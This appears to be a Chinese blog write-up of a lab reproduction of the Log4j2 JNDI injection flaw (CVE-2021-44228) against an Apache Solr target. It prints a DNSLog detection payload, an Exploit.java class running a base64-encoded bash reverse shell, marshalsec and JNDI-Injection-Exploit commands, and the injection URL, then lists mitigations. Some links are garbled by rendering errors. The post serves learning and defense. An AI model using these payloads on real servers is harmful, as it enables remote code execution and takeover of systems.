Log4j2远程代码执行漏洞


title: Log4j2远程代码执行漏洞
categories:

  • 漏洞复现
    abbrlink: 33360
    date: 2024-06-17 10:49:49

https://i-blog.csdnimg.cn/direct/77c089b86d714846add781eb40ed5b33.jpeg

前言

log4j2漏洞是java应用常见开源日志库,是一个就Java的日志记录工具

Apache Log4j2中存在JNDI注入漏洞,主要原理是利用log4j2的日志输出JNDI远程对象时,调用远程对象没做检查导致,程序将用户输入的数据进行日志记录时即可触发该漏洞并可在目标服务器上执行任意代码。该漏洞利用过程需要找到一个能触发远程加载并应用配置的输入点,迫使服务器远程加载和修改配置的前提下使目标系统通过JNDI远程获取数据库源,触发攻击者的恶意代码

JNDI

全程java Naming and Directory Interface,即java名称与目录接口,也就是一个名字对应一个java对象

lookup

JNDI API 中用于查找和获取命名对象的关键方法

在使用 JNDI 进行查找时,通常会创建一个初始上下文(InitialContext),然后使用这个上下文调用 lookup 方法。

Context ctx = new InitialContext();
Object obj = ctx.lookup("java:comp/env/jdbc/MyDataSource");

在这个例子中,ctx.lookup("java:comp/env/jdbc/MyDataSource") 尝试查找名为 "java:comp/env/jdbc/MyDataSource" 的 JNDI 资源,这通常用于获取一个数据库连接池或其他资源。

CVE-2021-44228

攻击者构造一个包含恶意JNDI URL的日志消息

${jndi:ldap://malicious-server.com/a}

当受影响的应用程序记录这条消息时,Log4j2会解析其中的${jndi:...}表达式,并尝试执行JNDI查找。

若允许远程JNDI查找,Log4j2会连接到ldap://malicious-server.com并从中加载一个恶意对象或类,这可能包含并执行恶意代码

漏洞检测

使用DNSLog Platform平台检测dns回显,查看是否有漏洞存在

image-20240707223732321

注入点:/solr/admin/cores?action=

构造payload:http://192.168.20.129:8983/solr/admin/cores?action=KaTeX parse error: Expected '}', got 'EOF' at end of input: {jndi:ldap://{sys:java.version}.a8nk84.dnslog.cn}

回显java版本1.8.0_102,说明存在漏洞

image-20240707223930404

kali:192.168.20.128

Ubuntu:192.168.20.129

方法一:手工写恶意文件

编写Exploit.java,反弹shell到kali

命令执行在线编码 | 国光 (sqlsec.com)

image-20240707224553883

bash -i >& /dev/tcp/192.168.20.128/777 0>&1

bash -c {echo, YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIwLjEyOC83NzcgMD4mMQ==}|{base64, -d}|{bash, -i}

恶意文件Exploit.java

import java.lang.Runtime;
import java.lang.Process;
public class Exploit {
     public Exploit(){
             try{
                 Runtime.getRuntime().exec("/bin/bash -c {echo, YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIwLjEyOC83NzcgMD4mMQ==}|{base64, -d}|{bash, -i}");
                                }catch(Exception e){
                                            e.printStackTrace();
                                             }
                }
         public static void main(String[] argv){
                         Exploit e = new Exploit();
                            }
}

javac编码为.class文件

apt install default-jdk

image-20240707231518630

启动http服务,为后续工具建立LDAP服务使用

mbechler/marshalsec (github.com)项目启动服务

在pom.xml所在目录,需要运行以下命令生成.jar文件(生成成功后位于此目录的target子目录下)

apt-get install maven
mvn clean package -DskipTests

启动LDAP服务

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer “http://192.168.20.128:88/#Exploit”

监听777端口

image-20240707235800618

JNDI注入

image-20240708003904169

响应

方法二:JNDI注入工具

一键部署项目地址:sayers522/JNDI-Injection-Exploit: JNDI命令注入利用 (github.com)

maven生成.jar可执行文件:史上最全安装Maven教程_按照maven-CSDN博客

完美解决未解析插件:spring-boot-maven-plugin_未解析的插件:-CSDN博客

同样在pom.xml下打开cmd输入mvn clean package -DskipTests生成一个target目录

image-20240708012526848

反弹shell:bash -i >& /dev/tcp/传反弹shell的主机ip/端口号 0>&1

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C “bash -c {echo, YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIwLjEyOC82NjYgMD4mMQ==}|{base64, -d}|{bash, -i}” -A “192.168.20.128”

image-20240708013133645

监听666端口

web访问[192.168.20.129:8983/solr/admin/cores?action= j n d i : l d a p : / / 192.168.20.128 : 1389 / E x p l o i t ] ( h t t p : / / 192.168.20.129 : 8983 / s o l r / a d m i n / c o r e s ? a c t i o n = {jndi:ldap://192.168.20.128:1389/Exploit}](http://192.168.20.129:8983/solr/admin/cores?action= jndi:ldap://192.168.20.128:1389/Exploit](http://192.168.20.129:8983/solr/admin/cores?action={jndi:ldap://192.168.20.128:1389/Exploit})

防御

升级Log4j版本(2.15.0及以上版本)

禁用JNDI Lookup

  • 添加以下Java系统属性:-Dlog4j2.formatMsgNoLookups=true
  • 设置环境变量:LOG4J_FORMAT_MSG_NO_LOOKUPS=true
  • log4j2.properties文件中添加:log4j2.formatMsgNoLookups=true

移除JndiLookup类

zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class

配置JNDI访问控制

设置Java安全策略,限制JNDI访问:
-Djava.rmi.server.useCodebaseOnly=true
-Dcom.sun.jndi.ldap.object.trustURLCodebase=false
-Dcom.sun.jndi.rmi.object.trustURLCodebase=false

**应用防火墙:**检测和拦截包含恶意JNDI查找的HTTP请求

  • 21
    点赞
  • 15
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

flowers-boy

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值